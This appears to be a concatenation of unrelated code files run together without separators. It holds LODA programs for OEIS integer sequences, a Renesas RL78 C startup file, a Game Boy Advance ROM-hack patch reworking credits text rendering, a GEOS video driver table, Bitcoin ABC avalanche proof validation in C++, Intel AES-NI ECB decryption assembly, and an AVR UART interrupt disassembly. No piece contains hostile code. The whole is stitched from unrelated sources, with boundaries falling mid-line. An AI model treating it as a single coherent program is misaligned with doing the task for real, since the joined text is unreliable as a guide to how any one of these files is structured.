; A252748: a(n) = A003961(n) - 2*n. ; -1,-1,-1,1,-3,3,-3,11,7,1,-9,21,-9,5,5,49,-15,39,-15,23,13,-5,-17,87,-1,-1,71,43,-27,45,-25,179,-1,-11,7,153,-33,-7,7,109,-39,81,-39,29,85,-5,-41,309,23,47,-7,49,-47,267,-19,185,1,-23,-57,195,-55,-13,149,601,-11,63,-63,35,7,91,-69,531,-67,-25,95,55,-11,99,-75,407,463,-35,-77,327,-37,-31,-19,175,-81,345,5,77,-1,-29,-29,1023,-93,167,127,241 mov $2,$0 seq $0,336853 ; a(n) = A003961(n) - n, where A003961 is the prime shift towards larger primes. sub $0,$2 sub $0,1
; A047668: Row 4 of array in A047666. ; 4,17,52,129,276,529,932,1537,2404,3601,5204,7297,9972,13329,17476,22529,28612,35857,44404,54401,66004,79377,94692,112129,131876,154129,179092,206977,238004,272401,310404,352257,398212,448529 add $0,1 pow $0,2 mov $1,$0 add $0,8 mul $0,$1 div $0,3 add $0,1
;/********************************************************************************************************************** ; * DISCLAIMER ; * This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No ; * other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all ; * applicable laws, including copyright laws. ; * THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIES REGARDING ; * THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, ; * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM ; * EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES ; * SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO ; * THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. ; * Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of ; * this software. By using this software, you agree to the additional terms and conditions found by accessing the ; * following link: ; * http://www.renesas.com/disclaimer ; * ; * Copyright (C) 2020 Renesas Electronics Corporation. All rights reserved. ; *********************************************************************************************************************/ ; NOTE : THIS IS A TYPICAL EXAMPLE. $IFNDEF __RENESAS_VERSION__ __RENESAS_VERSION__ .EQU 0x01000000 $ENDIF .extern _PowerON_Reset_PC .public _start .public _INIT_BSS .public _INIT_DATA .public _exit ;----------------------------------------------------------------------------- ; RAM section ;----------------------------------------------------------------------------- .SECTION .dataR, DATA .SECTION .sdataR, DATA ; .SECTION .datafR, DATAF ; .SECTION .textfR, TEXTF $IF (__RENESAS_VERSION__ < 0x01010000) ; for CC-RL V1.00 ;----------------------------------------------------------------------------- ; stack area ;----------------------------------------------------------------------------- ; !!! [CAUTION] !!! ; Set up stack size suitable for a project. .SECTION .stack_bss, BSS _stackend: .DS 0x200 _stacktop: $ENDIF ;----------------------------------------------------------------------------- ; RESET vector ;----------------------------------------------------------------------------- _start .VECTOR 0 ;----------------------------------------------------------------------------- ; startup ;----------------------------------------------------------------------------- .SECTION .text, TEXT _start: .STACK _start = 0 ;-------------------------------------------------- ; setting register bank ;-------------------------------------------------- ; SEL RB0 ;-------------------------------------------------- ; setting mirror area ;-------------------------------------------------- ; ONEB !PMC ; mirror area = 10000-1FFFFH ;-------------------------------------------------- ; setting the stack pointer ;-------------------------------------------------- $IF (__RENESAS_VERSION__ >= 0x01010000) MOVW SP,#LOWW(__STACK_ADDR_START) $ELSE ; for CC-RL V1.00 MOVW SP,#LOWW(_stacktop) $ENDIF ;-------------------------------------------------- ; initializing stack area ;-------------------------------------------------- $IF (__RENESAS_VERSION__ >= 0x01010000) MOVW HL,#LOWW(__STACK_ADDR_END) $ELSE ; for CC-RL V1.00 MOVW HL,#LOWW(_stackend) $ENDIF MOVW AX,SP SUBW AX,HL ; SUBW AX,#LOWW _@STEND BNH $.LSTINIT3 ; goto end SHRW AX,5 ; loop count for 32 byte transfer MOVW BC,AX CLRW AX .LSTINIT1: CMPW AX,BC BZ $.LSTINIT2 MOVW [HL],AX MOVW [HL+2],AX MOVW [HL+4],AX MOVW [HL+6],AX MOVW [HL+8],AX MOVW [HL+10],AX MOVW [HL+12],AX MOVW [HL+14],AX MOVW [HL+16],AX MOVW [HL+18],AX MOVW [HL+20],AX MOVW [HL+22],AX MOVW [HL+24],AX MOVW [HL+26],AX MOVW [HL+28],AX MOVW [HL+30],AX XCHW AX,HL ADDW AX,#0x20 XCHW AX,HL DECW BC BR $.LSTINIT1 .LSTINIT2: MOVW AX,SP CMPW AX,HL BZ $.LSTINIT3 ; goto end CLRW AX MOVW [HL],AX INCW HL INCW HL BR $.LSTINIT2 .LSTINIT3: ;-------------------------------------------------- ; jump PowerON_Reset_PC function ;-------------------------------------------------- BR !!_PowerON_Reset_PC ;-------------------------------------------------- ; initializing BSS ;-------------------------------------------------- .SECTION .textf, TEXTF _INIT_BSS: .STACK _INIT_BSS = 4 ; clear external variables which doesn't have initial value (near) MOVW HL,#LOWW(STARTOF(.bss)) MOVW AX,#LOWW(STARTOF(.bss) + SIZEOF(.bss)) BR $.L2_BSS .L1_BSS: MOV [HL+0],#0 INCW HL .L2_BSS: CMPW AX,HL BNZ $.L1_BSS ; clear saddr variables which doesn't have initial value MOVW HL,#LOWW(STARTOF(.sbss)) MOVW AX,#LOWW(STARTOF(.sbss) + SIZEOF(.sbss)) BR $.L2_SBSS .L1_SBSS: MOV [HL+0],#0 INCW HL .L2_SBSS: CMPW AX,HL BNZ $.L1_SBSS ; clear external variables which doesn't have initial value (far) ; MOV ES,#HIGHW(STARTOF(.bssf)) ; MOVW HL,#LOWW(STARTOF(.bssf)) ; MOVW AX,#LOWW(STARTOF(.bssf) + SIZEOF(.bssf)) ; BR $.L2_BSSF ;.L1_BSSF: ; MOV ES:[HL+0],#0 ; INCW HL ;.L2_BSSF: ; CMPW AX,HL ; BNZ $.L1_BSSF RET ;-------------------------------------------------- ; ROM data copy ;-------------------------------------------------- .SECTION .textf, TEXTF _INIT_DATA: .STACK _INIT_DATA = 4 ; copy external variables having initial value (near) MOV ES,#HIGHW(STARTOF(.data)) MOVW BC,#LOWW(SIZEOF(.data)) BR $.L2_DATA .L1_DATA: DECW BC MOV A,ES:LOWW(STARTOF(.data))[BC] MOV LOWW(STARTOF(.dataR))[BC],A .L2_DATA: CLRW AX CMPW AX,BC BNZ $.L1_DATA ; copy saddr variables having initial value MOV ES,#HIGHW(STARTOF(.sdata)) MOVW BC,#LOWW(SIZEOF(.sdata)) BR $.L2_SDATA .L1_SDATA: DECW BC MOV A,ES:LOWW(STARTOF(.sdata))[BC] MOV LOWW(STARTOF(.sdataR))[BC],A .L2_SDATA: CLRW AX CMPW AX,BC BNZ $.L1_SDATA ; copy external variables having initial value (far) ; MOVW BC,#LOWW(SIZEOF(.dataf)) ; BR $.L2_DATAF ;.L1_DATAF: ; DECW BC ; MOV ES,#HIGHW(STARTOF(.dataf)) ; MOV A,ES:LOWW(STARTOF(.dataf))[BC] ; MOV ES,#HIGHW(STARTOF(.datafR)) ; MOV ES:LOWW(STARTOF(.datafR))[BC],A ;.L2_DATAF: ; CLRW AX ; CMPW AX,BC ; BNZ $.L1_DATAF ; copy .text to RAM ; MOV C,#HIGHW(STARTOF(.textf)) ; MOVW HL,#LOWW(STARTOF(.textf)) ; MOVW DE,#LOWW(STARTOF(.textfR)) ; BR $.L2_TEXT ;.L1_TEXT: ; MOV A,C ; MOV ES,A ; MOV A,ES:[HL] ; MOV [DE],A ; INCW DE ; INCW HL ; CLRW AX ; CMPW AX,HL ; SKNZ ; INC C ;.L2_TEXT: ; MOVW AX,HL ; CMPW AX,#LOWW(STARTOF(.text) + SIZEOF(.text)) ; BNZ $.L1_TEXT RET ;-------------------------------------------------- ; exit function ;-------------------------------------------------- .SECTION .textf, TEXTF _exit: .STACK _exit = 4 BR $_exit ;----------------------------------------------------------------------------- ; section ;----------------------------------------------------------------------------- $IF (__RENESAS_VERSION__ >= 0x01010000) .SECTION .RLIB, TEXTF .L_section_RLIB: .SECTION .SLIB, TEXTF .L_section_SLIB: $ENDIF .SECTION .textf, TEXTF .L_section_textf: .SECTION .const, CONST .L_section_const: .SECTION .constf, CONSTF .L_section_constf: .SECTION .data, DATA .L_section_data: ;.SECTION .dataf, DATAF ;.L_section_dataf: .SECTION .sdata, SDATA .L_section_sdata: .SECTION .bss, BSS .L_section_bss: ;.SECTION .bssf, BSSF ;.L_section_bssf: .SECTION .sbss, SBSS .L_section_sbss:
; Move the crown to the right to give space for Difficulty. .org 0x0802BB10 dh 0xF474 .org 0x0802BB90 dh 0xF474 ; The original game stores the credits in a sort of modified Shift-JIS format. ; It then decodes this and uses bytecodes to indicate hiragana/katakana. ; We replace that by just using the game's text encoding directly, which is simpler. ; This also allows any characters available in the game's text encoding. .org 0x0802B08C .region 0x0802B244-.,0x00 .func CreditsDrawNextLine push r4-r7,r14 ; A few credits flags are offset from here. ldr r7,=0x03004EDC ; At ,1 is the target speed, and ,2 current counter. ldrb r0,[r7,6] add r0,r0,1 strb r0,[r7,6] ldrb r1,[r7,5] ; Did we hit it yet? cmp r0,r1 bne @@return ; We did, reset back to zero for next time. mov r0,0 strb r0,[r7,6] ; Now the y offset is here. We increment it too. ldr r2,=0x0300149E ldrh r1,[r2,2] add r1,r1,1 strh r1,[r2,2] ; We activate every 8 pixels (1 tile) - are we there yet? mov r4,7 and r4,r1 ; Sets Z/eq if zero. bne @@return ; Freebie: we track size=0 (8x12) or 1 (8x8) in r4, and it's already 0 now. ; Clear ahead of where we're going to draw (not sure exactly why.) ; Start by putting a 0 into memory as the source of the clear. add sp,-4 str r4,[sp,0] add r2,sp,0 add sp,4 ; Okay now let's prepare the destination address from the y offset (in r1.) mov r6,0xF0 add r6,r6,r1 mov r5,0xF8 and r6,r5 lsl r6,r6,7 ; Add in the VRAM base, which we'll reuse later. mov r5,0x06 lsl r5,r5,24 add r6,r6,r5 ; Okay, time to fill in the DMA3 transfer. ldr r3,=0x040000D4 str r2,[r3,0] str r6,[r3,4] ldr r2,=0x850000A0 ; Copy 0x0280 zeros. str r2,[r3,8] ; Okay, now time to prepare our drawing destination into r6. mov r6,0xA0 add r6,r6,r1 mov r2,0xF8 and r6,r2 lsl r6,r6,7 ; And add 3 tiles x offset too. add r6,0x60 ; We saved the VRAM base here, time for that reuse. add r6,r6,r5 ; Okay, now let's get the credits bytecode address into r5. ldr r5,[r7,0] @@nextBytecode: ldrb r0,[r5,0] add r5,r5,1 ; If it's above 0xFE (END), it can only be 0xFF (LINE BREAK). cmp r0,0xFE bhi @@codeBreak beq @@codeEnd ; Now check for 0xFD (SMALL) and 0xFB (SIGNAL) the same way. ; We removed 0xFC, so it's treated as 0xFD. cmp r0,0xFB bhi @@codeSmall beq @@codeSignal ; Last special code, 0xFA means to DMA3 a graphic instead. cmp r0,0xFA beq @@codeIcon ; Okay, we're drawing a string (r0=length), get the params struct. ldr r3,=0x030018BC strb r0,[r3,5] str r6,[r3,8] str r5,[r3,12] ; And advance the string by that length. add r5,r5,r0 cmp r4,1 beq @@line8x8 bl CopyString8x12ToVRAM b @@nextBytecode @@line8x8: bl CopyString8x8ToVRAM b @@nextBytecode @@codeIcon: ; Read which icon. ldrb r1,[r5,0] add r5,r5,1 ; Calculate the offset into the data. ; r1 * 0x320 = ((r1 * 2 + r1) * 8 + r1) * 0x20 lsl r0,r1,1 add r0,r0,r1 lsl r0,r0,3 add r0,r0,r1 lsl r0,r0,5 ldr r1,=0x08480DA4 add r0,r0,r1 ; Okay, now just copy using a DMA3. ldr r3,=0x040000D4 str r0,[r3,0] str r6,[r3,4] ldr r1,=0x840000C8 ; Copy 0x0320 bytes. str r1,[r3,8] b @@nextBytecode @@codeSmall: mov r4,1 b @@nextBytecode @@codeSignal: mov r0,1 strb r0,[r7,17] ; 0x03004EED b @@nextBytecode @@codeEnd: ; Store flags indicating end. mov r0,2 mov r1,0x78 strb r0,[r7,17] ; 0x03004EED strh r1,[r7,20] ; 0x03004EF0 b @@return @@codeBreak: ; Store the bytecode pointer back. str r5,[r7,0] ; Fall through to return. @@return: pop r4-r7,r15 .pool .endfunc .endregion .org 0x0802B43C ; We delete the single char 8x12 and 8x8 funcs, and the shift-jis decoder. ; In their place, we add a full string 8x12 menu text drawing func. .region 0x0802B7F0-.,0x00 .func CopyString8x12ToVRAM push r4-r6,r14 ; Write to a temporary, since it's top/bottom tiles. ldr r5,=0x030041DC ldr r6,=0x030018BC ; Save the actual dest address. ldr r4,[r6,8] str r5,[r6,8] ; Call the actual (out of order) 8x12 drawing func. bl 0x08071624 ; Grab the width in pixels. ldrb r6,[r6,1] ; Now prepare the next row of dest into r1, which might wrap around. ; Start with the base into r1. ldr r0,=0x7FFF mov r1,r4 bic r1,r0 ; Now the offset of 0x400, which is to advance the Y position. mov r2,0x40 lsl r2,r2,4 ; Add to dest and mask to wrap. add r2,r2,r4 and r0,r2 ; Now we just combine them back together. orr r1,r0 ; Prepare the DMA3 address. ldr r3,=0x040000D4 ; Transfer size and activate flag (we always copy 32 bytes as 16-bit halfwords.) mov r2,0x80 lsl r2,r2,24 add r2,0x10 ; Each character is two tiles. We unswizzle them here. @@nextTilePair: // Execute a DMA3 copy from src -> dest. str r5,[r3,0] str r4,[r3,4] str r2,[r3,8] ; Add 0x20 to src, and 0x20 to dest. add r5,0x20 add r4,0x20 // Execute a DMA3 copy from src -> dest. str r5,[r3,0] str r1,[r3,4] str r2,[r3,8] ; Another 0x20 for src, but 0x20 to dest2 not dest. add r5,0x20 add r1,0x20 sub r6,8 ; Sets flags if positive still bgt @@nextTilePair pop r4-r6,r15 .pool .endfunc .endregion ; So that the 8x12 font actually uses VWF correctly, we update the lookup func to load the width index. ; It just leaves it alone, so it's typically 0 and the width is wrong. ; The original code hacked around this bug by drawing a string of length 1 at a time. .org 0x0806F9C4 .region 0x0806FA50-.,0x00 .func GetNext8x12Char ; Font/utility params struct. ldr r3,=0x030018BC ; Save out the previous value here. ldrb r0,[r3,1] ldr r2,=0x03001AD2 strb r0,[r2,0] ; Now read in the current string pointer. ldr r2,[r3,12] ; Read the byte or control code and store in util. ldrb r0,[r2] add r2,r2,1 strb r0,[r3,1] ; If it's above FE (KANJI), it can only be FF (CONTROL CODE.) cmp r0,0xFE beq @@codeKanji bhi @@codeControl ; Regular characters are FD or 00-FB, not FC (not sure why.) cmp r0,0xFC beq @@done ; This is the important bit: store the character so we look up its width later. ldr r1,=0x0300198C strb r0,[r1,14] ; Also store as the arg, not sure anything reads this... strb r0,[r3,5] ; Write 0xFD as the control code. mov r1,0xFD strb r1,[r3,1] ; Now get the glyph for this character, 32 bytes per. ldr r1,=0x08642748 lsl r0,r0,5 add r0,r0,r1 ; And store in util as dest. str r0,[r3,8] b @@done @@codeControl: ; Okay, overwrite with the read control code. ldrb r0,[r2] add r2,r2,1 strb r0,[r3,1] cmp r0,0x11 beq @@readControlArg cmp r0,0x10 beq @@readControlArg cmp r0,0x03 beq @@readControlArg b @@done @@readControlArg: ldrb r0,[r2] add r2,r2,1 strb r0,[r3,5] b @@done @@codeKanji: ; This we read and store into the arg (offset 5.) ldrb r0,[r2] add r2,r2,1 strb r0,[r3,5] ; And now get the bitmap into the util as dest (64 bytes per.) ldr r1,=0x08644748 lsl r0,r0,6 add r0,r0,r1 str r0,[r3,8] ; Fall through to @@done. @@done: ; Write the updated string pointer. str r2,[r3,12] bx r14 .pool .endfunc .endregion ; We also edit the 8x12 out of order drawing func to clear properly. .org 0x08071650 ; Need to clear 64 bytes per character, not 32 (this is a count of shorts.) lsl r0,r0,5
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GlobalPC 1998 -- All Rights Reserved PROJECT: GEOS MODULE: SuperVGA Video Driver FILE: vga16DevInfo.asm AUTHOR: Jim DeFrisco REVISION HISTORY: Name Date Description ---- ---- ----------- jad 10/92 initial version DESCRIPTION: This file contains the device information structure for the 16 bit SuperVGA cards $Id: vga16DevInfo.asm,v 1.2$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; here are the values used for the 8-bit drivers DriverTable VideoDriverInfo < < < DriverStrategy, ; DIS_strategy mask DA_HAS_EXTENDED_INFO,; DIS_driverAttributes DRIVER_TYPE_VIDEO ; DIS_driverType >, handle VideoDevices ; DEIS_resource >, DT_RASTER_DISPLAY, ; VDI_tech 1, ; VDI_verMaj 0, ; VDI_verMin 480, ; VDI_pageH 640, ; VDI_pageW 80, ; VDI_vRes 80, ; VDI_hRes 640, ; VDI_bpScan 16, ; VDI_nColors 1, ; VDI_nPlanes 16, ; VDI_nBits 0, ; VDI_wColTab BMF_24BIT, ; VDI_bmFormat VGA24_DISPLAY_TYPE ; VDI_displayType >
// Copyright (c) 2020 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <avalanche/proof.h> #include <avalanche/validation.h> #include <coins.h> #include <hash.h> #include <policy/policy.h> #include <script/standard.h> #include <streams.h> #include <util/strencodings.h> #include <util/system.h> #include <util/translation.h> #include <tinyformat.h> #include <unordered_set> namespace avalanche { StakeCommitment::StakeCommitment(const ProofId &proofid, int64_t expirationTime, const CPubKey &master) { if (Proof::useLegacy(gArgs)) { memcpy(m_data, proofid.data(), sizeof(m_data)); } else { CHashWriter ss(SER_GETHASH, 0); ss << expirationTime; ss << master; const uint256 &hash = ss.GetHash(); memcpy(m_data, hash.data(), sizeof(m_data)); } } void Stake::computeStakeId() { CHashWriter ss(SER_GETHASH, 0); ss << *this; stakeid = StakeId(ss.GetHash()); } uint256 Stake::getHash(const StakeCommitment &commitment) const { CHashWriter ss(SER_GETHASH, 0); ss << commitment; ss << *this; return ss.GetHash(); } bool SignedStake::verify(const StakeCommitment &commitment) const { return stake.getPubkey().VerifySchnorr(stake.getHash(commitment), sig); } bool Proof::useLegacy() { return useLegacy(gArgs); } bool Proof::useLegacy(const ArgsManager &argsman) { return argsman.GetBoolArg("-legacyavaproof", AVALANCHE_DEFAULT_LEGACY_PROOF); } bool Proof::FromHex(Proof &proof, const std::string &hexProof, bilingual_str &errorOut) { if (!IsHex(hexProof)) { errorOut = _("Proof must be an hexadecimal string."); return false; } CDataStream ss(ParseHex(hexProof), SER_NETWORK, PROTOCOL_VERSION); try { ss >> proof; } catch (std::exception &e) { errorOut = strprintf(_("Proof has invalid format: %s"), e.what()); return false; } return true; } void Proof::computeProofId() { CHashWriter ss(SER_GETHASH, 0); ss << sequence; ss << expirationTime; if (!useLegacy(gArgs)) { ss << payoutScriptPubKey; } WriteCompactSize(ss, stakes.size()); for (const SignedStake &s : stakes) { ss << s.getStake(); } limitedProofId = LimitedProofId(ss.GetHash()); proofid = limitedProofId.computeProofId(master); } uint32_t Proof::getScore() const { Amount total = Amount::zero(); for (const SignedStake &s : stakes) { total += s.getStake().getAmount(); } return uint32_t((100 * total) / COIN); } bool Proof::verify(ProofValidationState &state) const { if (stakes.empty()) { return state.Invalid(ProofValidationResult::NO_STAKE, "no-stake"); } if (stakes.size() > AVALANCHE_MAX_PROOF_STAKES) { return state.Invalid( ProofValidationResult::TOO_MANY_UTXOS, "too-many-utxos", strprintf("%u > %u", stakes.size(), AVALANCHE_MAX_PROOF_STAKES)); } if (!useLegacy(gArgs)) { TxoutType scriptType; if (!IsStandard(payoutScriptPubKey, scriptType)) { return state.Invalid(ProofValidationResult::INVALID_PAYOUT_SCRIPT, "payout-script-non-standard"); } if (!master.VerifySchnorr(limitedProofId, signature)) { return state.Invalid(ProofValidationResult::INVALID_PROOF_SIGNATURE, "invalid-proof-signature"); } } StakeId prevId = uint256::ZERO; std::unordered_set<COutPoint, SaltedOutpointHasher> utxos; for (const SignedStake &ss : stakes) { const Stake &s = ss.getStake(); if (s.getAmount() < PROOF_DUST_THRESHOLD) { return state.Invalid(ProofValidationResult::DUST_THRESOLD, "amount-below-dust-threshold", strprintf("%s < %s", s.getAmount().ToString(), PROOF_DUST_THRESHOLD.ToString())); } if (s.getId() < prevId) { return state.Invalid(ProofValidationResult::WRONG_STAKE_ORDERING, "wrong-stake-ordering"); } prevId = s.getId(); if (!utxos.insert(s.getUTXO()).second) { return state.Invalid(ProofValidationResult::DUPLICATE_STAKE, "duplicated-stake"); } if (!ss.verify(getStakeCommitment())) { return state.Invalid( ProofValidationResult::INVALID_STAKE_SIGNATURE, "invalid-stake-signature", strprintf("TxId: %s", s.getUTXO().GetTxId().ToString())); } } return true; } bool Proof::verify(ProofValidationState &state, const CCoinsView &view) const { if (!verify(state)) { // state is set by verify. return false; } for (const SignedStake &ss : stakes) { const Stake &s = ss.getStake(); const COutPoint &utxo = s.getUTXO(); Coin coin; if (!view.GetCoin(utxo, coin)) { // The coins are not in the UTXO set. return state.Invalid(ProofValidationResult::MISSING_UTXO, "utxo-missing-or-spent"); } if (s.isCoinbase() != coin.IsCoinBase()) { return state.Invalid( ProofValidationResult::COINBASE_MISMATCH, "coinbase-mismatch", strprintf("expected %s, found %s", s.isCoinbase() ? "true" : "false", coin.IsCoinBase() ? "true" : "false")); } if (s.getHeight() != coin.GetHeight()) { return state.Invalid(ProofValidationResult::HEIGHT_MISMATCH, "height-mismatch", strprintf("expected %u, found %u", s.getHeight(), coin.GetHeight())); } const CTxOut &out = coin.GetTxOut(); if (s.getAmount() != out.nValue) { // Wrong amount. return state.Invalid( ProofValidationResult::AMOUNT_MISMATCH, "amount-mismatch", strprintf("expected %s, found %s", s.getAmount().ToString(), out.nValue.ToString())); } CTxDestination dest; if (!ExtractDestination(out.scriptPubKey, dest)) { // Can't extract destination. return state.Invalid( ProofValidationResult::NON_STANDARD_DESTINATION, "non-standard-destination"); } PKHash *pkhash = boost::get<PKHash>(&dest); if (!pkhash) { // Only PKHash are supported. return state.Invalid( ProofValidationResult::DESTINATION_NOT_SUPPORTED, "destination-type-not-supported"); } const CPubKey &pubkey = s.getPubkey(); if (*pkhash != PKHash(pubkey)) { // Wrong pubkey. return state.Invalid(ProofValidationResult::DESTINATION_MISMATCH, "destination-mismatch"); } } return true; } } // namespace avalanche
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 .globl DecryptECB_RIJ128pipe_AES_NI .type DecryptECB_RIJ128pipe_AES_NI, @function DecryptECB_RIJ128pipe_AES_NI: lea (,%rdx,4), %rax movslq %r8d, %r8 sub $(64), %r8 jl .Lshort_inputgas_1 .Lblks_loopgas_1: lea (%rcx,%rax,4), %r9 movdqa (%r9), %xmm4 sub $(16), %r9 movdqu (%rdi), %xmm0 movdqu (16)(%rdi), %xmm1 movdqu (32)(%rdi), %xmm2 movdqu (48)(%rdi), %xmm3 add $(64), %rdi pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (%r9), %xmm4 sub $(16), %r9 mov %rdx, %r10 sub $(1), %r10 .Lcipher_loopgas_1: aesdec %xmm4, %xmm0 aesdec %xmm4, %xmm1 aesdec %xmm4, %xmm2 aesdec %xmm4, %xmm3 movdqa (%r9), %xmm4 sub $(16), %r9 dec %r10 jnz .Lcipher_loopgas_1 aesdeclast %xmm4, %xmm0 movdqu %xmm0, (%rsi) aesdeclast %xmm4, %xmm1 movdqu %xmm1, (16)(%rsi) aesdeclast %xmm4, %xmm2 movdqu %xmm2, (32)(%rsi) aesdeclast %xmm4, %xmm3 movdqu %xmm3, (48)(%rsi) add $(64), %rsi sub $(64), %r8 jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %r8 jz .Lquitgas_1 lea (%rcx,%rax,4), %r9 .p2align 4, 0x90 .Lsingle_blk_loopgas_1: movdqu (%rdi), %xmm0 add $(16), %rdi pxor (%r9), %xmm0 cmp $(12), %rdx jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesdec (208)(%rcx), %xmm0 aesdec (192)(%rcx), %xmm0 .Lkey_192_sgas_1: aesdec (176)(%rcx), %xmm0 aesdec (160)(%rcx), %xmm0 .Lkey_128_sgas_1: aesdec (144)(%rcx), %xmm0 aesdec (128)(%rcx), %xmm0 aesdec (112)(%rcx), %xmm0 aesdec (96)(%rcx), %xmm0 aesdec (80)(%rcx), %xmm0 aesdec (64)(%rcx), %xmm0 aesdec (48)(%rcx), %xmm0 aesdec (32)(%rcx), %xmm0 aesdec (16)(%rcx), %xmm0 aesdeclast (%rcx), %xmm0 movdqu %xmm0, (%rsi) add $(16), %rsi sub $(16), %r8 jnz .Lsingle_blk_loopgas_1 .Lquitgas_1: pxor %xmm4, %xmm4 ret .Lfe1: .size DecryptECB_RIJ128pipe_AES_NI, .Lfe1-(DecryptECB_RIJ128pipe_AES_NI)
; A040793: Continued fraction for sqrt(822). ; 28,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2,28,2,1,56,1,2 seq $0,10144 ; Continued fraction for sqrt(59). seq $0,16084 ; a(n+1) = a(n) + its digital root. sub $0,9
310: 1f 92 push r1 312: 0f 92 push r0 314: 0f b6 in r0, 0x3f ; 63 316: 0f 92 push r0 318: 11 24 eor r1, r1 31a: 8f 93 push r24 31c: 9f 93 push r25 31e: ef 93 push r30 320: ff 93 push r31 322: 80 91 c6 00 lds r24, 0x00C6 ; 0x8000c6 <__TEXT_REGION_LENGTH__+0x7e00c6> 326: e0 91 00 01 lds r30, 0x0100 ; 0x800100 <__data_start> 32a: f0 91 01 01 lds r31, 0x0101 ; 0x800101 <__data_start+0x1> 32e: 91 e0 ldi r25, 0x01 ; 1 330: e4 31 cpi r30, 0x14 ; 20 332: f9 07 cpc r31, r25 334: 21 f0 breq .+8 ; 0x33e <__vector_18+0x2e> 336: 91 e0 ldi r25, 0x01 ; 1 338: e4 33 cpi r30, 0x34 ; 52 33a: f9 07 cpc r31, r25 33c: 11 f4 brne .+4 ; 0x342 <__vector_18+0x32> 33e: 80 32 cpi r24, 0x20 ; 32 340: e9 f4 brne .+58 ; 0x37c <__vector_18+0x6c> 342: 81 93 st Z+, r24 344: f0 93 01 01 sts 0x0101, r31 ; 0x800101 <__data_start+0x1> 348: e0 93 00 01 sts 0x0100, r30 ; 0x800100 <__data_start> 34c: 81 e0 ldi r24, 0x01 ; 1 34e: e4 33 cpi r30, 0x34 ; 52 350: f8 07 cpc r31, r24 352: 31 f4 brne .+12 ; 0x360 <__vector_18+0x50> 354: 81 e0 ldi r24, 0x01 ; 1 356: 80 93 13 01 sts 0x0113, r24 ; 0x800113 <buff1_ready> 35a: 10 92 12 01 sts 0x0112, r1 ; 0x800112 <__data_end> 35e: 0e c0 rjmp .+28 ; 0x37c <__vector_18+0x6c> 360: e4 55 subi r30, 0x54 ; 84 362: f1 40 sbci r31, 0x01 ; 1 364: 59 f4 brne .+22 ; 0x37c <__vector_18+0x6c> 366: 81 e0 ldi r24, 0x01 ; 1 368: 80 93 12 01 sts 0x0112, r24 ; 0x800112 <__data_end> 36c: 10 92 13 01 sts 0x0113, r1 ; 0x800113 <buff1_ready> 370: 84 e1 ldi r24, 0x14 ; 20 372: 91 e0 ldi r25, 0x01 ; 1 374: 90 93 01 01 sts 0x0101, r25 ; 0x800101 <__data_start+0x1> 378: 80 93 00 01 sts 0x0100, r24 ; 0x800100 <__data_start> 37c: ff 91 pop r31 37e: ef 91 pop r30 380: 9f 91 pop r25 382: 8f 91 pop r24 384: 0f 90 pop r0 386: 0f be out 0x3f, r0 ; 63 388: 0f 90 pop r0 38a: 1f 90 pop r1 38c: 18 95 reti
